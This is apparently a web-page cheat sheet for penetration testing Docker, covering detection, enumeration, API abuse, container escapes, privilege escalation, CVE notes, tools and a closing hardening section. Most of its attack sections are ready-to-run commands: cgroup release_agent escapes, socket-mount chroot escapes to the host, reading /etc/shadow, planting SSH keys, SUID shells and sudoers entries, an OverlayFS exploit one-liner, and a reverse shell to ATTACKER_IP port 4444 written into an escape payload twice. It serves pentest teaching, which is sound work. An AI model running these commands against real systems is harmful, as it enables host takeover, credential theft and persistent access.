Skip to content

Docker

A comprehensive guide for penetration testing Docker containers and environments.


Table of Contents

  1. Container Detection
  2. Docker Enumeration
  3. Docker API Pentesting
  4. Container Escape Techniques
  5. Privilege Escalation
  6. Common Vulnerabilities
  7. Pentesting Tools
  8. Security Best Practices

Container Detection

Check if You're Inside a Container

# Check cgroup for docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker

# Check for .dockerenv file
ls -la /.dockerenv

# Check hostname (containers often have hex hostnames)
hostname

# Check /etc/hosts
cat /etc/hosts

# Check for container runtime
cat /proc/self/cgroup

Container Runtime Detection Tool

# Using amicontained
docker run --rm -it r.j3ss.co/amicontained

# Manually check container runtime
if [ -f /.dockerenv ]; then
    echo "Running in Docker"
fi

Docker Enumeration

Basic Docker Information

# Docker version and info
docker version
docker info
docker system info

# List all containers
docker ps -a
docker container ls -a

# List images
docker images
docker image ls

# List volumes
docker volume ls

# List networks
docker network ls

# List secrets
docker secret ls

Container Inspection

# Inspect container configuration
docker inspect <container_id>
docker inspect --format='{{json .Config}}' <container_id>
docker inspect --format='{{json .HostConfig}}' <container_id>

# Get container port mappings
docker port <container_id>

# View image history
docker image history <image_name>

# Check for mounted volumes
df -h
mount | grep -E "^/dev"
cat /proc/mounts

Environment Enumeration

# Check environment variables
env
env | grep -i docker

# Check capabilities
capsh --print
cat /proc/self/status | grep Cap

# Check if privileged
# CapEff: 0000003fffffffff = privileged container
cat /proc/self/status | grep -i cap

# User information
id
whoami
cat /etc/passwd
cat /etc/shadow 2>/dev/null

Network Enumeration

# Network configuration
ip addr
ifconfig
cat /etc/hosts
cat /etc/resolv.conf

# Network connections
netstat -punta
ss -ltu

# Scan internal network
nmap 172.17.0.0/24
for i in {1..65535}; do (echo > /dev/tcp/172.17.0.1/$i) >/dev/null 2>&1 && echo $i is open; done

Look for Sensitive Files

# Bash history
cat /root/.bash_history
cat /home/*/.bash_history

# Common sensitive directories
ls -la /etc
ls -la /mnt
ls -la /opt
ls -la /srv
ls -la /var/www
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm

# SSH keys
find / -name "*.pem" 2>/dev/null
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Configuration files
find / -name "*.conf" 2>/dev/null
find / -name "*.config" 2>/dev/null

Docker API Pentesting

Default Docker Ports

  • 2375 - Unencrypted Docker daemon socket (HTTP)
  • 2376 - Encrypted Docker daemon socket (HTTPS with TLS)
  • 2377 - Docker Swarm mode (cluster management)
  • 7946 - Docker Swarm node communication
  • 4789 - Overlay network traffic

Docker Socket Enumeration

# Check for Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Test socket permissions
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl --unix-socket /var/run/docker.sock http://127.0.0.1/images/json
curl --unix-socket /var/run/docker.sock http://127.0.0.1/info

Remote Docker API

# Test remote connection (unencrypted)
docker -H tcp://192.168.1.100:2375 version
docker -H tcp://192.168.1.100:2375 ps

# List containers via API
curl http://192.168.1.100:2375/containers/json
curl http://192.168.1.100:2375/images/json

# Get container details
curl http://192.168.1.100:2375/containers/<container_id>/json

Exploiting Docker Socket

# Create privileged container with host filesystem mounted
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  -v /:/host alpine chroot /host bash

# Alternative method
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
  chroot /host /bin/sh -c 'cat /etc/shadow'

# Execute commands on host
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it \
  alpine chroot /mnt sh

Container Escape Techniques

1. Privileged Container Escape

# Check if container is privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff indicates privileged

# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cd /mnt/host

# Find partitions first if needed
fdisk -l
mount /dev/vda1 /mnt/host

# Method 2: Access host via release_agent (cgroup escape)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create malicious script
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output
EOF
chmod +x /cmd

# Trigger execution
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

2. Docker Socket Escape

# If socket is mounted in container
ls -la /var/run/docker.sock

# Create new privileged container
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  --net=host -v /:/host alpine chroot /host bash

# Get shell on host
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
  chroot /host /bin/bash

3. Capability-Based Escape

CAP_SYS_ADMIN Escape

# Check for CAP_SYS_ADMIN
capsh --print | grep sys_admin

# Exploit using release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find container path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Create payload
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd

# Trigger
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

CAP_SYS_MODULE Escape

# Load malicious kernel module
# First, create the module on attacker machine
# Then load it in container
insmod /path/to/malicious.ko

CAP_SYS_PTRACE Escape

# Inject code into host process
# Requires CAP_SYS_PTRACE capability

CAP_DAC_READ_SEARCH Escape

# Read any file on host filesystem
# Bypasses file permission checks

4. Writable Host Path Volume

# If a host directory is mounted
mount | grep -i "/mnt"

# Check write permissions
touch /mnt/test
ls -la /mnt/

# Add SSH key for persistence
mkdir -p /mnt/root/.ssh
echo "YOUR_SSH_PUBLIC_KEY" >> /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys

# Create SUID binary
cp /bin/bash /mnt/tmp/rootshell
chmod +s /mnt/tmp/rootshell

5. Container Image Exploitation

# Pull and run vulnerable image
docker pull vulnerable/image
docker run -v /:/mnt --rm -it vulnerable/image chroot /mnt sh

# Build malicious Dockerfile
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile
docker build -t my-docker-image .
docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh -c id

Privilege Escalation

Docker Group Membership

# Check if user is in docker group
id
groups

# Exploit docker group membership
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Add user to sudoers
docker run -v /etc:/mnt --rm -it alpine sh -c "echo 'username ALL=(ALL) NOPASSWD:ALL' >> /mnt/sudoers"

Abusing Mounted Volumes

# Check mounted volumes
docker inspect <container_id> | grep -A 20 Mounts

# Mount host root
docker run -v /:/hostfs --rm -it alpine

# Access sensitive files
docker run -v /etc:/mnt --rm -it alpine cat /mnt/shadow

Exploiting Exposed Docker Socket

# From host with docker socket access
docker run -v /var/run/docker.sock:/var/run/docker.sock \
  -v /:/hostfs --rm -it alpine chroot /hostfs bash

Common Vulnerabilities

CVE-2019-5736 (runC Container Escape)

# Affects Docker versions < 19.03.15 and < 20.10.3
# Exploit through docker exec
# Overwrites /bin/sh on host

CVE-2019-14271 (Docker Copy Privilege Escalation)

# Symlink-based privilege escalation in docker cp

CVE-2020-15257 (containerd)

# Container escape via exposed API

CVE-2021-21285 (Docker Daemon Crash)

# Pulling malformed manifest crashes daemon

CVE-2022-23774 (Arbitrary File Write)

# Docker Desktop file write vulnerability

CVE-2023-2640 / CVE-2023-32629 (OverlayFS)

# Ubuntu privilege escalation via OverlayFS
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'

CVE-2024-21626 (Leaky Vessels - runC)

# Container escape via working directory manipulation

CVE-2025-9074 (Docker Desktop API Exposure)

# Docker Desktop exposes API at http://192.168.65.7:2375/
# Allows container to access Docker Engine API
curl -X POST http://192.168.65.7:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","HostConfig":{"Privileged":true,"Binds":["/:/host"]}}'

Pentesting Tools

Automated Enumeration Tools

DEEPCE (Docker Enumeration, Escalation of Privileges and Container Escapes)

# Download and run
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# Run without touching disk
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

# Specific exploits
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

amicontained

# Check container runtime and capabilities
docker run --rm -it r.j3ss.co/amicontained

# Download binary
wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64
chmod +x amicontained-linux-amd64
./amicontained-linux-amd64

CDK (Container Duck)

# Container security toolkit
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64
chmod +x cdk_linux_amd64
./cdk_linux_amd64 evaluate
./cdk_linux_amd64 run mount-disk

BOtB (Break out the Box)

# Automated breakout detection
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
  -v /:/host brompwnie/botb

Vulnerability Scanners

Trivy

# Scan image for vulnerabilities
trivy image <image_name>
trivy image --scanners vuln <image_name>
trivy image --severity HIGH,CRITICAL <image_name>

# Generate SBOM
trivy image --format cyclonedx <image_name>

Docker Scout

# Scan with Docker Scout
docker scout cves <image_name>
docker scout cves --only-severity critical,high <image_name>
docker scout recommendations <image_name>

Grype

# Scan with Grype
grype <image_name>
grype <image_name> --scope all-layers
grype <image_name> -o json

Clair

# Run Clair scanner
docker run --rm -v /root/clair_config/:/config \
  -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"

clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 <image_name>

Security Auditing Tools

Docker Bench Security

# Automated security audit
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh

Dockerfile Linting

# Hadolint
docker run --rm -i hadolint/hadolint < Dockerfile

# dockerfilelint
npm install -g dockerfilelint
dockerfilelint Dockerfile

Security Best Practices

Docker Daemon Security

# ❌ Never expose Docker socket
# Don't mount: -v /var/run/docker.sock:/var/run/docker.sock

# ❌ Never expose Docker daemon on network without TLS
# Avoid: dockerd -H tcp://0.0.0.0:2375

# ✅ Use TLS authentication
dockerd --tlsverify \
  --tlscacert=ca.pem \
  --tlscert=server-cert.pem \
  --tlskey=server-key.pem \
  -H=0.0.0.0:2376

Container Security

# ✅ Run as non-root user
docker run -u 1000:1000 <image>

# Dockerfile example
FROM alpine
RUN groupadd -r appuser && useradd -r -g appuser appuser
USER appuser

# ✅ Drop capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE <image>

# ✅ Use read-only filesystem
docker run --read-only <image>

# ✅ Set resource limits
docker run --memory="256m" --cpus="1.0" <image>

# ✅ Disable privileged mode
# Never use: docker run --privileged

# ✅ Use security profiles
docker run --security-opt=no-new-privileges <image>
docker run --security-opt apparmor=docker-default <image>
docker run --security-opt seccomp=default.json <image>

Image Security

# ✅ Use minimal base images
FROM alpine
FROM scratch
FROM distroless/static

# ✅ Scan images regularly
docker scout cves <image>
trivy image <image>

# ✅ Use content trust
export DOCKER_CONTENT_TRUST=1
docker pull <image>

# ✅ Multi-stage builds
FROM golang:1.20 AS builder
WORKDIR /app
COPY . .
RUN go build -o myapp

FROM alpine:latest
COPY --from=builder /app/myapp /myapp

Network Security

# ✅ Use custom networks (not default bridge)
docker network create --driver bridge isolated_network
docker run --network=isolated_network <image>

# ✅ Disable inter-container communication
docker network create --driver bridge --internal private_network

Secret Management

# ✅ Use Docker secrets (Swarm mode)
echo "my_secret" | docker secret create db_password -
docker service create --secret db_password <image>

# ✅ Use environment variables carefully
# Avoid: docker run -e PASSWORD=secret <image>
# Use: docker run --env-file .env <image>

# ✅ Mount secrets as files
docker run -v /path/to/secret:/run/secrets/secret:ro <image>

Monitoring and Logging

# ✅ Enable logging
docker run --log-driver=json-file --log-opt max-size=10m <image>

# ✅ Monitor container activity
docker stats
docker events

# ✅ Use runtime security tools
# - Falco
# - Tracee
# - Tetragon

Quick Reference Commands

Detection & Enumeration

# Am I in a container?
cat /proc/1/cgroup | grep docker

# What can I do?
capsh --print

# What's mounted?
mount | grep -v "^proc\|^tmpfs\|^cgroup"

# Docker socket accessible?
ls -la /var/run/docker.sock

# Docker command available?
which docker
docker ps

Exploitation

# Privileged container escape
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
mkdir /tmp/x/y && echo 1 > /tmp/x/y/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/y/cgroup.procs"

# Docker socket escape
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash

# Docker group privesc
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Additional Resources

Comments